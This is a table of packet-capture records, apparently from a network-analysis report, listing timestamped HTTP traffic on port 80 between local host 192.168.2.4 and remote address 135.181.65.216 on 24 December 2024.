Dec 24, 2024 22:27:14.221158981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.221232891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.221657991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.221708059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.221793890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.221827984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.221848011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.221873045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.222083092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.222146034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.222575903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.222611904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.222632885 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.222662926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.222686052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.222722054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.222731113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.222771883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.223380089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.223437071 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.223493099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.223536968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.223541021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.223586082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.223721027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.223786116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.224231005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.224299908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.224353075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.224386930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.224419117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.224442005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.224577904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.224643946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.225097895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.225152969 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.225219011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.225251913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.225265980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.225311995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.225451946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.225506067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.225964069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.226013899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.226083994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.226119041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.226140022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.226177931 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.226310015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.226363897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.226833105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.226886034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227045059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227077961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227106094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227138996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227159977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227216005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227669001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227731943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227797985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227833033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.227849960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.227886915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.228053093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.228106976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.228547096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.228600025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.228665113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.228699923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.228717089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.228744984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.228909969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.228964090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.229475021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.229509115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.229542017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.229572058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.229598045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.229633093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.229660988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.229703903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.230273008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.230331898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.230400085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.230434895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.230452061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.230489016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.230648994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.230703115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.231170893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.231220961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.231231928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.231271982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.231276989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.231307983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.231349945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.231369019 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.322668076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.322736979 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.322854996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.322889090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.322910070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.322932959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.322946072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.322994947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323127031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323159933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323179960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323195934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323204041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323242903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323596001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323643923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323647022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323678970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323694944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323731899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.323836088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.323889017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.324398041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.324461937 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.324804068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.324845076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.324863911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.324894905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.324944973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.324979067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.324996948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325015068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.325035095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325063944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325654984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.325706005 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325754881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.325789928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.325808048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325845003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.325973034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.326028109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.326514959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.326570034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.326613903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.326648951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.326666117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.326709032 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.326883078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.326930046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.327373028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.327425003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.327514887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.327549934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.327567101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.327601910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.327725887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.327778101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.328206062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.328260899 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.328325033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.328357935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.328377962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.328412056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.328540087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.328591108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.329078913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.329138994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.329193115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.329226971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.329246044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.329282999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.329421043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.329473972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.329937935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330017090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.330080986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330115080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330132008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.330168009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.330276966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330327988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.330776930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330838919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.330926895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330960989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.330979109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.331015110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.331104040 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.331157923 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.331644058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.331782103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.332559109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.332621098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412199974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412257910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412281990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412293911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412343025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412343025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412524939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412580013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412657022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412698030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412727118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412756920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.412951946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.412986994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.413006067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.413036108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.413393021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.413444996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.413510084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.413544893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.413563967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.413603067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.413744926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.413796902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.414284945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.414338112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.414388895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.414422989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.414458990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.414482117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.414603949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.414659023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.415111065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.415167093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.415218115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.415252924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.415271044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.415307045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.415445089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.415514946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.415957928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416033983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.416038990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416074991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416090965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.416131020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.416286945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416346073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.416800022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416855097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.416924953 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416959047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.416979074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417015076 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417170048 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.417232990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417649031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.417701960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417773008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.417807102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.417824030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417854071 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.417989969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.418044090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.418550968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.418622017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.418652058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.418685913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.418705940 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.418731928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.418862104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.418910027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.419440985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.419493914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.419538021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.419572115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.419591904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.419621944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.419768095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.419821978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.420231104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.420286894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.420336962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.420371056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.420412064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.420413017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.420567036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.420623064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.421107054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.421163082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.421206951 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.421241999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.421262026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.421292067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.421443939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.421498060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.421950102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422003984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.422060966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422095060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422107935 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.422144890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.422292948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422346115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.422816038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422871113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.422940016 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.422988892 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.423006058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.423034906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.423183918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.423238039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.423691034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.423748016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.423755884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.423789978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.423800945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.423832893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.424005985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.424057961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.514853954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.514919996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.514952898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.514988899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515038013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515074968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515172005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515218973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515371084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515405893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515429974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515456915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515549898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515598059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515799999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515849113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515897036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515930891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.515949011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.515974998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.516172886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.516221046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.516669989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.516714096 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.516788960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.516824007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:14.516835928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:14.516866922 CET	49749	80	192.168.2.4	135.181.65.216
